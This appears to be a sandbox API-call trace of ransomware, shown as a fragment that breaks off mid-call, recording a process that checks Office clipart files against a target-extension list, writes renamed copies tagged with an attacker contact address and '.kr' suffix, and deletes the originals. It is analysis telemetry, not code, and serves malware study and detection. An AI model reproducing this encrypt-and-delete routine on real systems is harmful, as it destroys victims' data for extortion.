[0184.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0184.402] lstrlenW (lpString=".1cd") returned 4 [0184.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0184.402] lstrlenW (lpString=".jpg") returned 4 [0184.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0184.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0184.402] lstrlenW (lpString=".doc") returned 4 [0184.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.402] lstrlenW (lpString=".docx") returned 5 [0184.402] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.402] lstrlenW (lpString=".pdf") returned 4 [0184.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.402] lstrlenW (lpString=".xls") returned 4 [0184.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.402] lstrlenW (lpString=".xlsx") returned 5 [0184.402] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.402] lstrlenW (lpString=".ppt") returned 4 [0184.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0184.403] lstrlenW (lpString=".zip") returned 4 [0184.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.403] lstrlenW (lpString=".rar") returned 4 [0184.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.526] lstrlenW (lpString=".bz2") returned 4 [0184.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.526] lstrlenW (lpString=".7z") returned 3 [0184.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0184.526] lstrlenW (lpString=".dbf") returned 4 [0184.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0184.526] lstrlenW (lpString=".1cd") returned 4 [0184.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0184.526] lstrlenW (lpString=".jpg") returned 4 [0184.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.526] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.526] lstrlenW (lpString="BS01637_.WMF") returned 12 [0184.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.587] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=3948) returned 1 [0184.587] CloseHandle (hObject=0x500) returned 1 [0184.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x220 [0184.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.736] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.736] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0185.005] GetLastError () returned 0x0 [0185.005] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xf6c, lpOverlapped=0x0) returned 1 [0185.007] WriteFile (in: hFile=0x4d8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xf70, lpOverlapped=0x0) returned 1 [0185.008] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.008] WriteFile (in: hFile=0x4d8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.008] SetEndOfFile (hFile=0x4d8) returned 1 [0185.008] CloseHandle (hObject=0x4d8) returned 1 [0185.008] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.008] SetEndOfFile (hFile=0x500) returned 1 [0185.010] CloseHandle (hObject=0x500) returned 1 [0185.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0185.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0185.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0185.013] lstrlenW (lpString=".doc") returned 4 [0185.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.013] lstrlenW (lpString=".docx") returned 5 [0185.013] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.013] lstrlenW (lpString=".pdf") returned 4 [0185.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.013] lstrlenW (lpString=".xls") returned 4 [0185.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.013] lstrlenW (lpString=".xlsx") returned 5 [0185.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.013] lstrlenW (lpString=".ppt") returned 4 [0185.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0185.013] lstrlenW (lpString=".zip") returned 4 [0185.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.013] lstrlenW (lpString=".rar") returned 4 [0185.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.013] lstrlenW (lpString=".bz2") returned 4 [0185.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.013] lstrlenW (lpString=".7z") returned 3 [0185.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0185.013] lstrlenW (lpString=".dbf") returned 4 [0185.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0185.013] lstrlenW (lpString=".1cd") returned 4 [0185.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0185.013] lstrlenW (lpString=".jpg") returned 4 [0185.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0185.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0185.014] lstrlenW (lpString=".doc") returned 4 [0185.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.014] lstrlenW (lpString=".docx") returned 5 [0185.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.014] lstrlenW (lpString=".pdf") returned 4 [0185.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.014] lstrlenW (lpString=".xls") returned 4 [0185.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.014] lstrlenW (lpString=".xlsx") returned 5 [0185.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.014] lstrlenW (lpString=".ppt") returned 4 [0185.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0185.014] lstrlenW (lpString=".zip") returned 4 [0185.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.014] lstrlenW (lpString=".rar") returned 4 [0185.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.014] lstrlenW (lpString=".bz2") returned 4 [0185.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.014] lstrlenW (lpString=".7z") returned 3 [0185.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0185.014] lstrlenW (lpString=".dbf") returned 4 [0185.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0185.014] lstrlenW (lpString=".1cd") returned 4 [0185.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0185.014] lstrlenW (lpString=".jpg") returned 4 [0185.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.015] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0185.015] lstrlenW (lpString="CRANE.WMF") returned 9 [0185.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0185.015] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=5270) returned 1 [0185.015] CloseHandle (hObject=0x500) returned 1 [0185.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0x220 [0185.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0185.016] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.016] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0185.016] GetLastError () returned 0x0 [0185.016] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1496, lpOverlapped=0x0) returned 1 [0185.018] WriteFile (in: hFile=0x4d8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0185.019] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.019] WriteFile (in: hFile=0x4d8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xe6, lpOverlapped=0x0) returned 1 [0185.019] SetEndOfFile (hFile=0x4d8) returned 1 [0185.019] CloseHandle (hObject=0x4d8) returned 1 [0185.019] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.019] SetEndOfFile (hFile=0x500) returned 1 [0185.022] CloseHandle (hObject=0x500) returned 1 [0185.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1 [0185.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0185.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0185.023] lstrlenW (lpString=".doc") returned 4 [0185.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.023] lstrlenW (lpString=".docx") returned 5 [0185.023] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0185.023] lstrlenW (lpString=".pdf") returned 4 [0185.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.023] lstrlenW (lpString=".xls") returned 4 [0185.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.023] lstrlenW (lpString=".xlsx") returned 5 [0185.023] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0185.023] lstrlenW (lpString=".ppt") returned 4 [0185.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0185.023] lstrlenW (lpString=".zip") returned 4 [0185.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.023] lstrlenW (lpString=".rar") returned 4 [0185.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.023] lstrlenW (lpString=".bz2") returned 4 [0185.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.023] lstrlenW (lpString=".7z") returned 3 [0185.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0185.023] lstrlenW (lpString=".dbf") returned 4 [0185.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0185.023] lstrlenW (lpString=".1cd") returned 4 [0185.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0185.023] lstrlenW (lpString=".jpg") returned 4 [0185.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0185.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0185.024] lstrlenW (lpString=".doc") returned 4 [0185.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.024] lstrlenW (lpString=".docx") returned 5 [0185.024] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0185.024] lstrlenW (lpString=".pdf") returned 4 [0185.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.024] lstrlenW (lpString=".xls") returned 4 [0185.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.024] lstrlenW (lpString=".xlsx") returned 5 [0185.024] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0185.024] lstrlenW (lpString=".ppt") returned 4 [0185.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0185.024] lstrlenW (lpString=".zip") returned 4 [0185.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.024] lstrlenW (lpString=".rar") returned 4 [0185.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.024] lstrlenW (lpString=".bz2") returned 4 [0185.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.024] lstrlenW (lpString=".7z") returned 3 [0185.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0185.024] lstrlenW (lpString=".dbf") returned 4 [0185.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0185.024] lstrlenW (lpString=".1cd") returned 4 [0185.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0185.024] lstrlenW (lpString=".jpg") returned 4 [0185.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.025] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0185.025] lstrlenW (lpString="CRANINST.WMF") returned 12 [0185.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0185.025] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=49546) returned 1 [0185.025] CloseHandle (hObject=0x500) returned 1 [0185.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 0x220 [0185.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0185.026] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.026] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0185.026] GetLastError () returned 0x0 [0185.026] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xc18a, lpOverlapped=0x0) returned 1 [0185.029] WriteFile (in: hFile=0x4d8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xc190, lpOverlapped=0x0) returned 1 [0185.031] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.031] WriteFile (in: hFile=0x4d8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.031] SetEndOfFile (hFile=0x4d8) returned 1 [0185.031] CloseHandle (hObject=0x4d8) returned 1 [0185.032] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.032] SetEndOfFile (hFile=0x500) returned 1 [0185.036] CloseHandle (hObject=0x500) returned 1 [0185.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0185.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0185.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0185.037] lstrlenW (lpString=".doc") returned 4 [0185.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.037] lstrlenW (lpString=".docx") returned 5 [0185.037] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0185.037] lstrlenW (lpString=".pdf") returned 4 [0185.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.037] lstrlenW (lpString=".xls") returned 4 [0185.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.037] lstrlenW (lpString=".xlsx") returned 5 [0185.037] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0185.037] lstrlenW (lpString=".ppt") returned 4 [0185.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0185.037] lstrlenW (lpString=".zip") returned 4 [0185.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.038] lstrlenW (lpString=".rar") returned 4 [0185.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.038] lstrlenW (lpString=".bz2") returned 4 [0185.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.038] lstrlenW (lpString=".7z") returned 3 [0185.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0185.038] lstrlenW (lpString=".dbf") returned 4 [0185.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0185.038] lstrlenW (lpString=".1cd") returned 4 [0185.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0185.038] lstrlenW (lpString=".jpg") returned 4 [0185.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.038] lstrlenW 